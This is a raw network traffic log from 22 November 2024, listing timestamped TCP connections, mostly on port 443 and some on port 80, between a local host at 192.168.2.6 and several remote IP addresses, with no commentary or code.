Nov 22, 2024 14:43:48.822830915 CET	49814	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.822838068 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.822850943 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.822860003 CET	443	49814	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.822964907 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.822985888 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.823015928 CET	49810	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.823021889 CET	443	49810	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.826561928 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.826576948 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.826591969 CET	49809	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.826596975 CET	443	49809	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.872601986 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.872642994 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.872678995 CET	49813	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.872688055 CET	443	49813	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.890957117 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.890986919 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.891098976 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.892393112 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.892405033 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.892833948 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.892889023 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.892970085 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.893104076 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.893121958 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.894227982 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.894237995 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.894347906 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.894741058 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.894750118 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.897953987 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.897967100 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.898103952 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.899168968 CET	49811	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:48.899182081 CET	443	49811	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:48.900866985 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:48.900883913 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:48.903296947 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:48.903584957 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:49.022898912 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.023329973 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.023380995 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.023555994 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.023595095 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.148869038 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:49.149241924 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:49.149806976 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:49.151568890 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:49.151590109 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:49.151601076 CET	49816	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:49.151607037 CET	443	49816	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:49.158263922 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:49.158294916 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:49.158402920 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:49.158628941 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:49.158646107 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:49.163573980 CET	49833	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.163599968 CET	443	49833	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.163657904 CET	49833	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.164139032 CET	49833	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.164150000 CET	443	49833	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.166620016 CET	49834	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.166644096 CET	443	49834	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.166691065 CET	49834	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.166958094 CET	49834	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.166968107 CET	443	49834	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.175798893 CET	49835	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:49.175832033 CET	443	49835	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:49.175894022 CET	49835	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:49.176924944 CET	49835	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:49.176939011 CET	443	49835	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:49.368083000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:49.368132114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:49.551642895 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.551707029 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.552797079 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:49.555852890 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.556031942 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.556098938 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:49.564229965 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.564317942 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.564412117 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:49.572740078 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.572825909 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.572909117 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:49.581084013 CET	443	49712	20.190.177.85	192.168.2.6
Nov 22, 2024 14:43:49.627517939 CET	49712	443	192.168.2.6	20.190.177.85
Nov 22, 2024 14:43:49.854861021 CET	49838	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.854908943 CET	443	49838	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.854991913 CET	49838	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.861148119 CET	49838	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.861166000 CET	443	49838	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.928807020 CET	49839	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.928844929 CET	443	49839	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.928965092 CET	49839	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.929548979 CET	49839	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:49.929564953 CET	443	49839	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:49.951064110 CET	49840	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:49.951092958 CET	443	49840	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:49.951570034 CET	49840	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:49.954102993 CET	49840	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:49.954121113 CET	443	49840	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.026015997 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.026467085 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.026490927 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.026889086 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.026904106 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.026957035 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.026963949 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.027154922 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.027637005 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.029108047 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.029181004 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.029485941 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.029494047 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.064826012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:50.147867918 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.184328079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:50.278342009 CET	49853	443	192.168.2.6	18.165.220.106
Nov 22, 2024 14:43:50.278367043 CET	443	49853	18.165.220.106	192.168.2.6
Nov 22, 2024 14:43:50.278594017 CET	49853	443	192.168.2.6	18.165.220.106
Nov 22, 2024 14:43:50.278903961 CET	49853	443	192.168.2.6	18.165.220.106
Nov 22, 2024 14:43:50.278917074 CET	443	49853	18.165.220.106	192.168.2.6
Nov 22, 2024 14:43:50.313261032 CET	49833	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.313437939 CET	49838	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.314486027 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.314493895 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.314589977 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.314754009 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.314760923 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.314846992 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.315975904 CET	49835	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.316075087 CET	49840	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.316431046 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.316457987 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.316497087 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.316503048 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.316531897 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.316714048 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.317399025 CET	49856	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.317409039 CET	443	49856	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.317929029 CET	49855	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.317938089 CET	443	49855	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.318106890 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:50.318165064 CET	443	49812	94.245.104.56	192.168.2.6
Nov 22, 2024 14:43:50.318231106 CET	49812	443	192.168.2.6	94.245.104.56
Nov 22, 2024 14:43:50.319046974 CET	49834	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.319133997 CET	49839	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.320184946 CET	49853	443	192.168.2.6	18.165.220.106
Nov 22, 2024 14:43:50.322283983 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.322293997 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.322381973 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.322679043 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.322690010 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.322741985 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.323523045 CET	49861	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.323534012 CET	443	49861	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.323816061 CET	49860	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.323829889 CET	443	49860	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.324742079 CET	49867	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.324760914 CET	443	49867	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.324832916 CET	49866	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.324848890 CET	443	49866	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.359327078 CET	443	49838	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.359354019 CET	443	49835	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.359355927 CET	443	49833	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.359378099 CET	443	49839	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.359386921 CET	443	49834	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.359416008 CET	443	49840	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.363341093 CET	443	49853	18.165.220.106	192.168.2.6
Nov 22, 2024 14:43:50.438400984 CET	443	49835	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:50.438458920 CET	49835	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:50.465522051 CET	443	49833	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.465601921 CET	49833	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.466619968 CET	443	49834	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:50.466698885 CET	49834	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:50.609913111 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.610582113 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.610605001 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.611305952 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.611319065 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.862065077 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:50.862111092 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:50.862184048 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:50.862998009 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:50.863010883 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:50.979957104 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980015993 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980050087 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980086088 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980094910 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.980123997 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980139017 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.980166912 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980192900 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980223894 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.980226994 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980237007 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980261087 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.980300903 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.980335951 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:50.980344057 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:50.987559080 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.989279032 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.989495993 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.989703894 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.994921923 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.994940996 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.995902061 CET	49831	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.995908976 CET	443	49831	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.996376991 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.996404886 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.997076035 CET	49828	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.997081041 CET	443	49828	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.997442007 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.997479916 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.997946978 CET	49832	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.997961998 CET	443	49832	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.998454094 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.998466969 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:50.999147892 CET	49830	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:50.999152899 CET	443	49830	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.015116930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:51.015249968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:51.035619974 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.035742044 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.035773039 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.101299047 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.101491928 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.101526022 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.105174065 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.105221987 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.105240107 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.121802092 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.121849060 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.121857882 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.130760908 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.130853891 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.130867004 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.138638020 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.138735056 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.138801098 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.138818979 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.140218973 CET	443	49838	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.140309095 CET	49838	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.140383959 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.147038937 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.154967070 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.155042887 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.155112028 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.155515909 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.155755043 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.155775070 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.156997919 CET	49873	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.157040119 CET	443	49873	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.163806915 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.163866997 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.163887024 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.180481911 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.180567980 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.180609941 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.180659056 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.180736065 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.188754082 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.197128057 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.200352907 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.200387955 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.201411009 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.201474905 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.201502085 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.209559917 CET	443	49840	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.209685087 CET	443	49840	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.209784031 CET	49840	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.212096930 CET	49840	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.224678040 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.224783897 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.224853039 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.224888086 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.228202105 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.232862949 CET	443	49839	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.232966900 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.232973099 CET	443	49839	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:51.233056068 CET	49839	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.235898972 CET	49839	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:51.241406918 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.244277954 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.244313955 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.250351906 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.251941919 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.251987934 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.260413885 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.260497093 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.260581970 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.260618925 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.262084007 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.268805027 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.277201891 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.277321100 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.277421951 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.277451038 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.280705929 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.285485983 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.293968916 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.295893908 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.295917988 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.302418947 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.304243088 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.304279089 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.311405897 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.311664104 CET	443	49829	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:51.311758995 CET	49829	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:51.316627026 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.316689968 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.316719055 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.323395014 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.323570967 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.323600054 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.340225935 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.340277910 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.340310097 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.342345953 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.342413902 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.342437983 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.348263025 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.348345041 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.348421097 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.348454952 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.348753929 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.352550030 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.354221106 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.354301929 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.354329109 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.354690075 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.354718924 CET	443	49874	172.64.41.3	192.168.2.6
Nov 22, 2024 14:43:51.354803085 CET	49874	443	192.168.2.6	172.64.41.3
Nov 22, 2024 14:43:51.360980988 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.361093998 CET	443	49824	172.217.19.225	192.168.2.6
Nov 22, 2024 14:43:51.361169100 CET	49824	443	192.168.2.6	172.217.19.225
Nov 22, 2024 14:43:51.361198902 CET	443	49824	172.217.19.225	192.168.2.6
